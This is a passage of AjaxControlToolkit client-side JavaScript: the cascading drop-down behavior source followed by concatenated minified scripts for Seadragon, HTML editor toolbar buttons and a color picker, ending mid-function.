                e.CascadingDropDownParentControlID = this._parentControlID;
                this._parentChangeHandler = Function.createDelegate(this, this._onParentChange);
                
                $addHandler(this._parentElement, "change", this._parentChangeHandler);
                if (!this._parentElement.childDropDown) {
                    this._parentElement.childDropDown = new Array();
                }
                this._parentElement.childDropDown.push(this);
            }
        }

        // Simulate parent change to populate self, even if no parent exists.
        this._onParentChange(null, true);
    },

    dispose : function() {
        /// <summary>
        /// Dispose the behavior
        /// </summary>
        /// <returns />

        var e = this.get_element();

        // Detach change handler for self
        if (this._changeHandler) {            
            $removeHandler(e, "change", this._changeHandler);
            this._changeHandler = null;
        }

        // Detach change handler for parent
        if (this._parentChangeHandler) {
            if (this._parentElement) {                
                $removeHandler(this._parentElement, "change", this._parentChangeHandler);
            }
            this._parentChangeHandler = null;
        }

        AjaxControlToolkit.CascadingDropDownBehavior.callBaseMethod(this, 'dispose');
    },

    _clearItems : function() {
        /// <summary>
        /// Clear the items from the drop down
        /// </summary>
        /// <returns />

        var e = this.get_element();
        while (0 < e.options.length) {
            e.remove(0);
        }
    },

    _isPopulated : function() {
        /// <summary>
        /// Determine whether the drop down has any items
        /// </summary>
        /// <returns type="Boolean">
        /// Whether the drop down has any items
        /// </returns>

        var items = this.get_element().options.length;

        if (this._promptText) {
            return items > 1;
        } else {
            return items > 0;
        }
    },

    _setOptions : function(list, inInit, gettingList) {
        /// <summary>
        /// Set the contents of the DropDownList to the specified list
        /// </summary>
        /// <param name="list" mayBeNull="true" elementType="Object">
        /// Array of options (where each option has name and value properties)
        /// </param>
        /// <param name="inInit" type="Boolean" optional="true">
        /// Whether this is being called from the initialize method
        /// </param>
        /// <param name="gettingList" type="Boolean" optional="true">
        /// Whether we are fetching the list of options from the web service
        /// </param>
        /// <returns />

        if (!this.get_isInitialized()) {
            return;
        }

        var e = this.get_element();
        // Remove existing contents
        this._clearItems();

        // Populate prompt text (if available) 
        var headerText;
        var headerValue = "";
        if (gettingList && this._loadingText) {
            headerText = this._loadingText;
            if ( this._selectedValue) {
                headerValue = this._selectedValue;
            }
        } else if (!gettingList && list && (0 == list.length) && (null != this._emptyText)) {
            headerText = this._emptyText;
            if (this._emptyValue) {
                headerValue = this._emptyValue;
            }
        } else if (this._promptText) {
            headerText = this._promptText;
            if (this._promptValue) {
                headerValue = this._promptValue;
            }
        }
        if (headerText) {
            var optionElement = new Option(headerText, headerValue);
            e.options[e.options.length] = optionElement;
        }

        // Add each item to the DropDownList, selecting the previously selected item
        var selectedValueOption = null;
        var defaultIndex = -1;

        if (list) {
            for (i = 0 ; i < list.length ; i++) {
                var listItemName = list[i].name;
                var listItemValue = list[i].value;
                
                if (list[i].isDefaultValue) {
                    defaultIndex = i;
                    if (this._promptText) {
                        // bump the index if there's a prompt item in the list.
                        //
                        defaultIndex++;
                    }
                }

                var optionElement = new Option(listItemName, listItemValue);
                if (listItemValue == this._selectedValue) {
                    selectedValueOption = optionElement;
                }

                e.options[e.options.length] = optionElement;
            }
            if (selectedValueOption) {
                selectedValueOption.selected = true;
            }
        }
        
        // if we didn't match the selected value, and we found a default
        // item, select that one.
        //
        if (selectedValueOption) {
            // Call set_SelectedValue to store the text as well
            this.set_SelectedValue(e.options[e.selectedIndex].value, e.options[e.selectedIndex].text);
        } else if (!selectedValueOption && defaultIndex != -1) {
            e.options[defaultIndex].selected = true;
            this.set_SelectedValue(e.options[defaultIndex].value, e.options[defaultIndex].text);
        } else if (!inInit && !selectedValueOption && !gettingList && !this._promptText && (e.options.length > 0)) {
            // If no prompt text or default item, select the first item
            this.set_SelectedValue(e.options[0].value, e.options[0].text);
        } else if (!inInit && !selectedValueOption && !gettingList) {
            this.set_SelectedValue('', '');
        }

        if (e.childDropDown && !gettingList) {
            for(i = 0; i < e.childDropDown.length; i++) {
                e.childDropDown[i]._onParentChange();
            }
        }
        else {
            if (list && (Sys.Browser.agent !== Sys.Browser.Safari) && (Sys.Browser.agent !== Sys.Browser.Opera)) {
                // Fire the onchange event for the control to notify any listeners of the change
                if (document.createEvent) {
                    var onchangeEvent = document.createEvent('HTMLEvents');
                    onchangeEvent.initEvent('change', true, false);
                    this.get_element().dispatchEvent(onchangeEvent);
                } else if( document.createEventObject ) {
                    this.get_element().fireEvent('onchange');
                }
            }
        }

        // Disable the control if loading/prompt text is present and an empty list was populated
        if (this._loadingText || this._promptText || this._emptyText) {
            e.disabled = !list || (0 == list.length);
        }

        this.raisePopulated(Sys.EventArgs.Empty);
    },

    _onChange : function() {
        /// <summary>
        /// Handler for the drop down's change event
        /// </summary>
        /// <returns />

        if (!this._isPopulated()) {
            return;
        }

        var e = this.get_element();
        
        // Record the selected value in the client state
        if ((-1 != e.selectedIndex) && !(this._promptText && (0 == e.selectedIndex))) {
            this.set_SelectedValue(e.options[e.selectedIndex].value, e.options[e.selectedIndex].text);
        } else {
            this.set_SelectedValue('', '');
        }
    },

    _onParentChange : function(evt, inInit) {
        /// <summary>
        /// Handler for the parent drop down's change event
        /// </summary>
        /// <param name="evt" type="Object">
        /// Set by the browser when called as an event handler (unused here)
        /// </param>
        /// <param name="inInit" type="Boolean">
        /// Whether this is being called from the initialize method
        /// </param>
        /// <returns />

        var e = this.get_element();

        // Create the known category/value pairs string for sending to the helper web service
        // Follow parent pointers so that the complete state can be sent
        // Format: 'name1:value1;name2:value2;...'
        var knownCategoryValues = '';
        var parentControlID = this._parentControlID;
        while (parentControlID) {
            var parentElement = $get(parentControlID);
            if (parentElement && (-1 != parentElement.selectedIndex)){
                var selectedValue = parentElement.options[parentElement.selectedIndex].value;
                
                if (selectedValue && selectedValue != "") {
                    knownCategoryValues = parentElement.CascadingDropDownCategory + ':' + selectedValue + ';' + knownCategoryValues;
                    parentControlID = parentElement.CascadingDropDownParentControlID;
                    continue;
                }
            } 
            break;
        }
        
        if (knownCategoryValues != '' && this._lastParentValues == knownCategoryValues) {
            return;
        }
        
        this._lastParentValues = knownCategoryValues;
        
        // we have a parent but it doesn't have a valid value
        //
        if (knownCategoryValues == '' && this._parentControlID) {
            this._setOptions(null, inInit);
            return;
        }

        // Show the loading text (if any)
        this._setOptions(null, inInit, true);

        if (this._servicePath && this._serviceMethod) {
            // Raise the populating event and optionally cancel the web service invocation
            var eventArgs = new Sys.CancelEventArgs();
            this.raisePopulating(eventArgs);
            if (eventArgs.get_cancel()) {
                return;
            }
            
            // Create the service parameters and optionally add the context parameter
            // (thereby determining which method signature we're expecting...)
            var params = { knownCategoryValues:knownCategoryValues, category:this._category };
            if (this._useContextKey) {
                params.contextKey = this._contextKey;
            }
        
            // Call the helper web service
            Sys.Net.WebServiceProxy.invoke(this._servicePath, this._serviceMethod, false, params,
                Function.createDelegate(this, this._onMethodComplete), Function.createDelegate(this, this._onMethodError));
            $common.updateFormToRefreshATDeviceBuffer();
        }
    },

    _onMethodComplete : function(result, userContext, methodName) {
        // Success, update the DropDownList
        this._setOptions(result);
    },

    _onMethodError : function(webServiceError, userContext, methodName) {
        // Indicate failure
        if (webServiceError.get_timedOut()) {
            this._setOptions( [ this._makeNameValueObject(AjaxControlToolkit.Resources.CascadingDropDown_MethodTimeout) ] );
        } else {
            this._setOptions( [ this._makeNameValueObject(String.format(AjaxControlToolkit.Resources.CascadingDropDown_MethodError, webServiceError.get_statusCode())) ] );
        }
    },

    _makeNameValueObject : function(message) {
        /// <summary>
        /// Create an object with name and value properties set to the provided message
        /// </summary>
        /// <param name="message" type="String">
        /// Message
        /// </param>
        /// <returns type="Object">
        /// Object with name and value properties set to the message
        /// </returns>

        return { 'name': message, 'value': message };
    },

    get_ParentControlID : function() {
        /// <value type="String">
        /// ID of the parent drop down in a hierarchy of drop downs
        /// </value>
       return this._parentControlID;
    },
    set_ParentControlID : function(value) {
        if (this._parentControlID != value) {
            this._parentControlID = value;
            this.raisePropertyChanged('ParentControlID');
        }
    },

    get_Category : function() {
        /// <value type="String">
        /// Category of this drop down
        /// </value>
        return this._category;
    },
    set_Category : function(value) {
        if (this._category != value) {
            this._category = value;
            this.raisePropertyChanged('Category');
        }
    },

    get_PromptText : function() {
        /// <value type="String">
        /// Prompt text displayed as the first entry in the drop down
        /// </value>
        return this._promptText;
    },
    set_PromptText : function(value) {
        if (this._promptText != value) {
            this._promptText = value;
            this.raisePropertyChanged('PromptText');
        }
    },

    get_PromptValue : function() {
        /// <value type="String">
        /// Value for the option displayed by a DropDownList showing the PromptText
        /// </value>
        return this._promptValue;
    },
    set_PromptValue : function(value) {
        if (this._promptValue != value) {
            this._promptValue = value;
            this.raisePropertyChanged('PromptValue');
        }
    },

    get_EmptyText : function() {
        /// <value type="String">
        /// Text for the option displayed when the list is empty
        /// </value>
        return this._emptyText;
    },
    set_EmptyText : function(value) {
        if (this._emptyText != value) {
            this._emptyText = value;
            this.raisePropertyChanged('EmptyText');
        }
    },

    get_EmptyValue : function() {
        /// <value type="String">
        /// Value for the option displayed when the list is empty
        /// </value>
        return this._emptyValue;
    },
    set_EmptyValue : function(value) {
        if (this._emptyValue != value) {
            this._emptyValue = value;
            this.raisePropertyChanged('EmptyValue');
        }
    },

    get_LoadingText : function() {
        /// <value type="String">
        /// Loading text to to be displayed when getting the drop down's values from the web service
        /// </value>
        return this._loadingText;
    },
    set_LoadingText : function(value) {
        if (this._loadingText != value) {
            this._loadingText = value;
            this.raisePropertyChanged('LoadingText');
        }
    },

    get_SelectedValue : function() {
         /// <value type="String">
         /// Selected value of the drop down
         /// </value>
        return this._selectedValue;
    },
    set_SelectedValue : function(value, text) {
        if (this._selectedValue != value) {
            if (!text) {
                // Initial population by server; look for "value:::text" pair
                var i = value.indexOf(':::');
                if (-1 != i) {
                    text = value.slice(i + 3);
                    value = value.slice(0, i);
                }
            }
            var oldValue = this._selectedValue;
            this._selectedValue = value;
            this.raisePropertyChanged('SelectedValue');
            this.raiseSelectionChanged(new AjaxControlToolkit.CascadingDropDownSelectionChangedEventArgs(oldValue, value));
        }
        AjaxControlToolkit.CascadingDropDownBehavior.callBaseMethod(this, 'set_ClientState', [ this._selectedValue+':::'+text ]);
    },

    get_ServicePath : function() {
        /// <value type="String" mayBeNull="true">
        /// Path to the web service
        /// </value>
        return this._servicePath;
    },
    set_ServicePath : function(value) {
        if (this._servicePath != value) {
            this._servicePath = value;
            this.raisePropertyChanged('ServicePath');
        }
    },

    get_ServiceMethod : function() {
        /// <value type="String">
        /// Name of the method to invoke on the web service
        /// </value>
        return this._serviceMethod;
    },
    set_ServiceMethod : function(value) {
        if (this._serviceMethod != value) {
            this._serviceMethod = value;
            this.raisePropertyChanged('ServiceMethod');
        }
    },
    
    get_contextKey : function() {
        /// <value type="String" mayBeNull="true">
        /// User/page specific context provided to an optional overload of the
        /// web method described by ServiceMethod/ServicePath.  If the context
        /// key is used, it should have the same signature with an additional
        /// parameter named contextKey of type string.
        /// </value>
        return this._contextKey;
    },
    set_contextKey : function(value) {
        if (this._contextKey != value) {
            this._contextKey = value;
            this.set_useContextKey(true);
            this.raisePropertyChanged('contextKey');
        }
    },
    
    get_useContextKey : function() {
        /// <value type="Boolean">
        /// Whether or not the ContextKey property should be used.  This will be
        /// automatically enabled if the ContextKey property is ever set
        /// (on either the client or the server).  If the context key is used,
        /// it should have the same signature with an additional parameter
        /// named contextKey of type string.
        /// </value>
        return this._useContextKey;
    },
    set_useContextKey : function(value) {
        if (this._useContextKey != value) {
            this._useContextKey = value;
            this.raisePropertyChanged('useContextKey');
        }
    },
    
    add_selectionChanged : function(handler) {
        /// <summary>
        /// Add an event handler for the selectionChanged event
        /// </summary>
        /// <param name="handler" type="Function" mayBeNull="false">
        /// Event handler
        /// </param>
        /// <returns />
        this.get_events().addHandler('selectionChanged', handler);
    },
    remove_selectionChanged : function(handler) {
        /// <summary>
        /// Remove an event handler from the selectionChanged event
        /// </summary>
        /// <param name="handler" type="Function" mayBeNull="false">
        /// Event handler
        /// </param>
        /// <returns />
        this.get_events().removeHandler('selectionChanged', handler);
    },
    raiseSelectionChanged : function(eventArgs) {
        /// <summary>
        /// Raise the selectionChanged event
        /// </summary>
        /// <param name="eventArgs" type="AjaxControlToolkit.CascadingDropDownSelectionChangedEventArgs" mayBeNull="false">
        /// Event arguments for the selectionChanged event
        /// </param>
        /// <returns />
        
        var handler = this.get_events().getHandler('selectionChanged');
        if (handler) {
            handler(this, eventArgs);
        }
    },
    
    add_populating : function(handler) {
        /// <summary>
        /// Add an event handler for the populating event
        /// </summary>
        /// <param name="handler" type="Function" mayBeNull="false">
        /// Event handler
        /// </param>
        /// <returns />
        this.get_events().addHandler('populating', handler);
    },
    remove_populating : function(handler) {
        /// <summary>
        /// Remove an event handler from the populating event
        /// </summary>
        /// <param name="handler" type="Function" mayBeNull="false">
        /// Event handler
        /// </param>
        /// <returns />
        this.get_events().removeHandler('populating', handler);
    },
    raisePopulating : function(eventArgs) {
        /// <summary>
        /// Raise the populating event
        /// </summary>
        /// <param name="eventArgs" type="Sys.CancelEventArgs" mayBeNull="false">
        /// Event arguments for the populating event
        /// </param>
        /// <returns />
        /// <remarks>
        /// The populating event can be used to provide custom data to
        /// CascadingDropDown instead of using a web service.  Just cancel the
        /// event (using the CancelEventArgs) and pass your own data to the
        /// _setOptions method.
        /// </remarks>
        
        var handler = this.get_events().getHandler('populating');
        if (handler) {
            handler(this, eventArgs);
        }
    },
    
    add_populated : function(handler) {
        /// <summary>
        /// Add an event handler for the populated event
        /// </summary>
        /// <param name="handler" type="Function" mayBeNull="false">
        /// Event handler
        /// </param>
        /// <returns />
        this.get_events().addHandler('populated', handler);
    },
    remove_populated : function(handler) {
        /// <summary>
        /// Remove an event handler from the populated event
        /// </summary>
        /// <param name="handler" type="Function" mayBeNull="false">
        /// Event handler
        /// </param>
        /// <returns />
        this.get_events().removeHandler('populated', handler);
    },
    raisePopulated : function(eventArgs) {
        /// <summary>
        /// Raise the populated event
        /// </summary>
        /// <param name="eventArgs" type="Sys.EventArgs" mayBeNull="false">
        /// Event arguments for the populated event
        /// </param>
        /// <returns />
        
        var handler = this.get_events().getHandler('populated');
        if (handler) {
            handler(this, eventArgs);
        }
    }
}
AjaxControlToolkit.CascadingDropDownBehavior.registerClass('AjaxControlToolkit.CascadingDropDownBehavior', AjaxControlToolkit.BehaviorBase);
//    getDescriptor : function() {
//        var td = AjaxControlToolkit.CascadingDropDownBehavior.callBaseMethod(this, 'getDescriptor');
//        // Add custom properties
//        td.addProperty('ParentControlID', String);
//        td.addProperty('Category', String);
//        td.addProperty('PromptText', String);
//        td.addProperty('LoadingText', String);
//        td.addProperty('ServicePath', String);
//        td.addProperty('ServiceMethod', String);
//        td.addProperty('SelectedValue', String);
//        return td;
//    },
/Type.registerNamespace("AjaxControlToolkit.Seadragon");Type.registerNamespace("Seadragon");AjaxControlToolkit.Seadragon.Config=function(){var c=false,b=true,a=this;a.debugMode=b;a.animationTime=1.5;a.blendTime=.5;a.alwaysBlend=c;a.autoHideControls=b;a.immediateRender=c;a.wrapHorizontal=c;a.wrapVertical=c;a.minZoomDimension=.8;a.maxZoomPixelRatio=2;a.visibilityRatio=.5;a.springStiffness=5;a.imageLoaderLimit=2;a.clickTimeThreshold=200;a.clickDistThreshold=5;a.zoomPerClick=2;a.zoomPerSecond=2;a.showNavigationControl=b;a.maxImageCacheCount=100;a.minPixelRatio=.5;a.mouseNavEnabled=b;a.navImages={zoomIn:{REST:'<%= WebResource("AjaxControlToolkit.Seadragon.images.zoomin_rest.png") %>',GROUP:'<%= WebResource("AjaxControlToolkit.Seadragon.images.zoomin_grouphover.png") %>',HOVER:'<%= WebResource("AjaxControlToolkit.Seadragon.images.zoomin_hover.png") %>',DOWN:'<%= WebResource("AjaxControlToolkit.Seadragon.images.zoomin_pressed.png") %>'},zoomOut:{REST:'<%= WebResource("AjaxControlToolkit.Seadragon.images.zoomout_rest.png") %>',GROUP:'<%= WebResource("AjaxControlToolkit.Seadragon.images.zoomout_grouphover.png") %>',HOVER:'<%= WebResource("AjaxControlToolkit.Seadragon.images.zoomout_hover.png") %>',DOWN:'<%= WebResource("AjaxControlToolkit.Seadragon.images.zoomout_pressed.png") %>'},home:{REST:'<%= WebResource("AjaxControlToolkit.Seadragon.images.home_rest.png") %>',GROUP:'<%= WebResource("AjaxControlToolkit.Seadragon.images.home_grouphover.png") %>',HOVER:'<%= WebResource("AjaxControlToolkit.Seadragon.images.home_hover.png") %>',DOWN:'<%= WebResource("AjaxControlToolkit.Seadragon.images.home_pressed.png") %>'},fullpage:{REST:'<%= WebResource("AjaxControlToolkit.Seadragon.images.fullpage_rest.png") %>',GROUP:'<%= WebResource("AjaxControlToolkit.Seadragon.images.fullpage_grouphover.png") %>',HOVER:'<%= WebResource("AjaxControlToolkit.Seadragon.images.fullpage_hover.png") %>',DOWN:'<%= WebResource("AjaxControlToolkit.Seadragon.images.fullpage_pressed.png") %>'}}};AjaxControlToolkit.Seadragon.Config.registerClass("AjaxControlToolkit.Seadragon.Config",null,Sys.IDisposable);�Type.registerNamespace("AjaxControlToolkit.HTMLEditor.ToolbarButton");AjaxControlToolkit.HTMLEditor.ToolbarButton.Rtl=function(a){AjaxControlToolkit.HTMLEditor.ToolbarButton.Rtl.initializeBase(this,[a])};AjaxControlToolkit.HTMLEditor.ToolbarButton.Rtl.prototype={callMethod:function(){var a=this;if(!AjaxControlToolkit.HTMLEditor.ToolbarButton.Rtl.callBaseMethod(a,"callMethod"))return false;a._designPanel._doc.body.style.direction=!a.checkState()?"rtl":"";if(!AjaxControlToolkit.HTMLEditor.isIE){var b=a._designPanel._getSelection(),d=a._designPanel._createRange(b);a._designPanel._removeAllRanges(b);a._designPanel._selectRange(b,d);a._designPanel.focusEditor()}var c=a;setTimeout(function(){c._editPanel.updateToolbar()},0)},checkState:function(){if(!AjaxControlToolkit.HTMLEditor.ToolbarButton.Rtl.callBaseMethod(this,"checkState"))return false;if(this._designPanel._doc.body.style.direction&&this._designPanel._doc.body.style.direction=="rtl")return true;return false}};AjaxControlToolkit.HTMLEditor.ToolbarButton.Rtl.registerClass("AjaxControlToolkit.HTMLEditor.ToolbarButton.Rtl",AjaxControlToolkit.HTMLEditor.ToolbarButton.EditorToggleButton);DType.registerNamespace("AjaxControlToolkit.HTMLEditor.ToolbarButton");AjaxControlToolkit.HTMLEditor.ToolbarButton.Paste=function(a){AjaxControlToolkit.HTMLEditor.ToolbarButton.Paste.initializeBase(this,[a])};AjaxControlToolkit.HTMLEditor.ToolbarButton.Paste.prototype={canBeShown:function(){return AjaxControlToolkit.HTMLEditor.isIE},callMethod:function(){if(!AjaxControlToolkit.HTMLEditor.ToolbarButton.Paste.callBaseMethod(this,"callMethod"))return false;var a=this._designPanel;if(AjaxControlToolkit.HTMLEditor.isIE){a._saveContent();a.openWait();setTimeout(function(){a._paste(true);a.closeWait()},0)}else{var b=a._getSelection(),c=a._createRange(b);a._removeAllRanges(b);alert(String.format(AjaxControlToolkit.Resources.HTMLEditor_toolbar_button_Use_verb,AjaxControlToolkit.HTMLEditor.isSafari&&navigator.userAgent.indexOf("mac")!=-1?"Apple-V":"Ctrl-V"));a._selectRange(b,c);a.isWord=false;a.isPlainText=false}}};AjaxControlToolkit.HTMLEditor.ToolbarButton.Paste.registerClass("AjaxControlToolkit.HTMLEditor.ToolbarButton.Paste",AjaxControlToolkit.HTMLEditor.ToolbarButton.MethodButton);�Type.registerNamespace("AjaxControlToolkit.HTMLEditor.ToolbarButton");AjaxControlToolkit.HTMLEditor.ToolbarButton.Ltr=function(a){AjaxControlToolkit.HTMLEditor.ToolbarButton.Ltr.initializeBase(this,[a])};AjaxControlToolkit.HTMLEditor.ToolbarButton.Ltr.prototype={callMethod:function(){var a=this;if(!AjaxControlToolkit.HTMLEditor.ToolbarButton.Ltr.callBaseMethod(a,"callMethod"))return false;a._designPanel._doc.body.style.direction=!a.checkState()?"":"rtl";if(!AjaxControlToolkit.HTMLEditor.isIE){var b=a._designPanel._getSelection(),d=a._designPanel._createRange(b);a._designPanel._removeAllRanges(b);a._designPanel._selectRange(b,d);a._designPanel.focusEditor()}var c=a;setTimeout(function(){c._editPanel.updateToolbar()},0)},checkState:function(){if(!AjaxControlToolkit.HTMLEditor.ToolbarButton.Ltr.callBaseMethod(this,"checkState"))return false;if(!(this._designPanel._doc.body.style.direction&&this._designPanel._doc.body.style.direction=="rtl"))return true;return false}};AjaxControlToolkit.HTMLEditor.ToolbarButton.Ltr.registerClass("AjaxControlToolkit.HTMLEditor.ToolbarButton.Ltr",AjaxControlToolkit.HTMLEditor.ToolbarButton.EditorToggleButton);jType.registerNamespace("AjaxControlToolkit.HTMLEditor.Popups");AjaxControlToolkit.HTMLEditor.Popups.AttachedTemplatePopup=function(a){AjaxControlToolkit.HTMLEditor.Popups.AttachedTemplatePopup.initializeBase(this,[a]);this._contentDiv=null};AjaxControlToolkit.HTMLEditor.Popups.AttachedTemplatePopup.prototype={get_contentDiv:function(){return this._contentDiv},set_contentDiv:function(a){this._contentDiv=a},initialize:function(){AjaxControlToolkit.HTMLEditor.Popups.AttachedTemplatePopup.callBaseMethod(this,"initialize");this.set_initialContent(this._contentDiv.innerHTML)},dispose:function(){AjaxControlToolkit.HTMLEditor.Popups.AttachedTemplatePopup.callBaseMethod(this,"dispose")}};AjaxControlToolkit.HTMLEditor.Popups.AttachedTemplatePopup.registerClass("AjaxControlToolkit.HTMLEditor.Popups.AttachedTemplatePopup",AjaxControlToolkit.HTMLEditor.Popups.AttachedPopup);nType.registerNamespace("AjaxControlToolkit.HTMLEditor");AjaxControlToolkit.HTMLEditor.Toolbar=function(b){var a=this;AjaxControlToolkit.HTMLEditor.Toolbar.initializeBase(a,[b]);a._loaded=false;a._cachedButtonIds=null;a._cachedEditPanel=null;a._buttons=null;a._alwaysVisible=false;a._app_onload$delegate=Function.createDelegate(a,a._app_onload)};AjaxControlToolkit.HTMLEditor.Toolbar.prototype={get_alwaysVisible:function(){return this._alwaysVisible},set_alwaysVisible:function(a){this._alwaysVisible=a;this.get_isInitialized()&&this.raisePropertyChanged("alwaysVisible")},set_activeEditPanel:function(c){var a=this;if(!a._loaded){a._cachedEditPanel=c;return}for(var b=0;b<a.get_buttons().length;b++)a.get_buttons()[b].set_activeEditPanel(c)},disable:function(){var a=this;if(a.get_isInitialized()){if(a._alwaysVisible)return;for(var b=0;b<a.get_buttons().length;b++)a.get_buttons()[b].set_activeEditPanel(null)}},get_buttons:function(){if(this._buttons==null)this._buttons=[];return this._buttons},set_buttons:function(a){this.get_buttons().push(a)},get_buttonIds:function(){},set_buttonIds:function(c){if(!this.get_isInitialized()){this._cachedButtonIds=c;return}for(var b=c.split(";"),a=0;a<b.length;a++)b[a].length>0&&this.set_buttons($find(b[a]))},initialize:function(){AjaxControlToolkit.HTMLEditor.Toolbar.callBaseMethod(this,"initialize");Sys.Application.add_load(this._app_onload$delegate)},dispose:function(){this._loaded=false;Sys.Application.remove_load(this._app_onload$delegate);AjaxControlToolkit.HTMLEditor.Toolbar.callBaseMethod(this,"dispose")},_app_onload:function(){var b=null,a=this;if(a._cachedButtonIds!=b){a.set_buttonIds(a._cachedButtonIds);a._cachedButtonIds=b}a._loaded=true;if(a._cachedEditPanel!=b){a.set_activeEditPanel(a._cachedEditPanel);a._cachedEditPanel=b}}};AjaxControlToolkit.HTMLEditor.Toolbar.registerClass("AjaxControlToolkit.HTMLEditor.Toolbar",Sys.UI.Control);�Type.registerNamespace("AjaxControlToolkit.HTMLEditor");AjaxControlToolkit.HTMLEditor.ActiveModeType=function(){};AjaxControlToolkit.HTMLEditor.ActiveModeType.prototype={Design:0,Html:1,Preview:2};AjaxControlToolkit.HTMLEditor.ActiveModeType_checkValue=function(a){if(a>=0&&a<=2)return true;return false};AjaxControlToolkit.HTMLEditor.ActiveModeType.registerEnum("AjaxControlToolkit.HTMLEditor.ActiveModeType",true);�$Type.registerNamespace("AjaxControlToolkit");AjaxControlToolkit.ColorPickerBehavior=function(c){var b=null,a=this;AjaxControlToolkit.ColorPickerBehavior.initializeBase(a,[c]);a._textbox=AjaxControlToolkit.TextBoxWrapper.get_Wrapper(c);a._button=b;a._sample=b;a._cssClass="ajax__colorPicker";a._popupPosition=AjaxControlToolkit.PositioningMode.BottomLeft;a._selectedColor=b;a._enabled=true;a._selectedColorChanging=false;a._popupMouseDown=false;a._isOpen=false;a._blur=new AjaxControlToolkit.DeferredOperation(1,a,a._doBlur);a._popupBehavior=b;a._container=b;a._popupDiv=b;a._colorsTable=b;a._colorsBody=b;a._button$delegates={click:Function.createDelegate(a,a._button_onclick),keypress:Function.createDelegate(a,a._button_onkeypress),blur:Function.createDelegate(a,a._button_onblur)};a._element$delegates={change:Function.createDelegate(a,a._element_onchange),keypress:Function.createDelegate(a,a._element_onkeypress),click:Function.createDelegate(a,a._element_onclick),focus:Function.createDelegate(a,a._element_onfocus),blur:Function.createDelegate(a,a._element_onblur)};a._popup$delegates={mousedown:Function.createDelegate(a,a._popup_onmousedown),mouseup:Function.createDelegate(a,a._popup_onmouseup),drag:Function.createDelegate(a,a._popup_onevent),dragstart:Function.createDelegate(a,a._popup_onevent),select:Function.createDelegate(a,a._popup_onevent)};a._cell$delegates={mouseover:Function.createDelegate(a,a._cell_onmouseover),mouseout:Function.createDelegate(a,a._cell_onmouseout),click:Function.createDelegate(a,a._cell_onclick)}};AjaxControlToolkit.ColorPickerBehavior.prototype={initialize:function(){var a=this;AjaxControlToolkit.ColorPickerBehavior.callBaseMethod(a,"initialize");if(!AjaxControlToolkit.ColorPickerBehavior._colorRegex)AjaxControlToolkit.ColorPickerBehavior._colorRegex=new RegExp("^[A-Fa-f0-9]{6}$");var c=a.get_element();$addHandlers(c,a._element$delegates);a._button&&$addHandlers(a._button,a._button$delegates);var b=a.get_selectedColor();b&&a.set_selectedColor(b);a._restoreSample()},dispose:function(){var b=null,a=this;a._sample=b;if(a._button){$clearHandlers(a._button);a._button=b}if(a._popupBehavior){a._popupBehavior.dispose();a._popupBehavior=b}if(a._container){a._container.parentNode&&a._container.parentNode.removeChild(a._container);a._container=b}if(a._popupDiv){$clearHandlers(a._popupDiv);a._popupDiv=b}if(a._colorsBody){for(var c=0;c<a._colorsBody.rows.length;c++)for(var f=a._colorsBody.rows[c],d=0;d<f.cells.length;d++)$clearHandlers(f.cells[d].firstChild);a._colorsBody=b}a._colorsTable=b;var e=a.get_element();e&&$clearHandlers(e);AjaxControlToolkit.ColorPickerBehavior.callBaseMethod(a,"dispose")},get_button:function(){return this._button},set_button:function(b){var a=this;if(a._button!==b){a._button&&a.get_isInitialized()&&$common.removeHandlers(a._button,a._button$delegates);a._button=b;a._button&&a.get_isInitialized()&&$addHandlers(a._button,a._button$delegates);a.raisePropertyChanged("button")}},get_sample:function(){return this._sample},set_sample:function(a){if(this._sample!==a){this._sample=a;this.raisePropertyChanged("sample")}},get_selectedColor:function(){var a=this;if(a._selectedColor===null){var b=a._textbox.get_Value();if(a._validate(b))a._selectedColor=b}return a._selectedColor},set_selectedColor:function(b){var a=this;if(a._selectedColor!==b&&a._validate(b)){a._selectedColor=b;a._selectedColorChanging=true;b!==a._textbox.get_Value()&&a._textbox.set_Value(b);a._showSample(b);a._selectedColorChanging=false;a.raisePropertyChanged("selectedColor")}},get_enabled:function(){return this._enabled},set_enabled:function(a){if(this._enabled!==a){this._enabled=a;this.raisePropertyChanged("enabled")}},get_popupPosition:function(){return this._popupPosition},set_popupPosition:function(a){if(this._popupPosition!==a){this._popupPosition=a;this.raisePropertyChanged("popupPosition")}},add_colorSelectionChanged:function(a){this.get_events().addHandler("colorSelectionChanged",a)},remove_colorSelectionChanged:function(a){this.get_events().removeHandler("colorSelectionChanged",a)},raiseColorSelectionChanged:function(){var a=this.get_events().getHandler("colorSelectionChanged");a&&a(this,Sys.EventArgs.Empty)},add_showing:function(a){this.get_events().addHandler("showing",a)},remove_showing:function(a){this.get_events().removeHandler("showing",a)},raiseShowing:function(b){var a=this.get_events().getHandler("showing");a&&a(this,b)},add_shown:function(a){this.get_events().addHandler("shown",a)},remove_shown:function(a){this.get_events().removeHandler("shown",a)},raiseShown:function(){var a=this.get_events().getHandler("shown");a&&a(this,Sys.EventArgs.Empty)},add_hiding:function(a){this.get_events().addHandler("hiding",a)},remove_hiding:function(a){this.get_events().removeHandler("hiding",a)},raiseHiding:function(b){var a=this.get_events().getHandler("hiding");a&&a(this,b)},add_hidden:function(a){this.get_events().addHandler("hidden",a)},remove_hidden:function(a){this.get_events().removeHandler("hidden",a)},raiseHidden:function(){var a=this.get_events().getHandler("hidden");a&&a(this,Sys.EventArgs.Empty)},show:function(){var a=this;a._ensureColorPicker();if(!a._isOpen){var b=new Sys.CancelEventArgs;a.raiseShowing(b);if(b.get_cancel())return;a._isOpen=true;a._popupBehavior.show();a.raiseShown()}},hide:function(){var a=this;if(a._isOpen){var b=new Sys.CancelEventArgs;a.raiseHiding(b);if(b.get_cancel())return;a._container&&a._popupBehavior.hide();a._isOpen=false;a.raiseHidden();a._popupMouseDown=false}},_focus:function(){if(this._button)this._button.focus();else this.get_element().focus()},_doBlur:function(b){var a=this;if(!b&&Sys.Browser.agent===Sys.Browser.Opera)a._blur.post(true);else{!a._popupMouseDown&&a.hide();a._popupMouseDown=false}},_buildColorPicker:function(){var a=this,c=a.get_element(),b=a.get_id();a._container=$common.createElementFromTemplate({nodeName:"div",properties:{id:b+"_container"},cssClasses:[a._cssClass]},c.parentNode);a._popupDiv=$common.createElementFromTemplate({nodeName:"div",events:a._popup$delegates,properties:{id:b+"_popupDiv"},cssClasses:["ajax__colorPicker_container"],visible:false},a._container)},_buildColors:function(){var 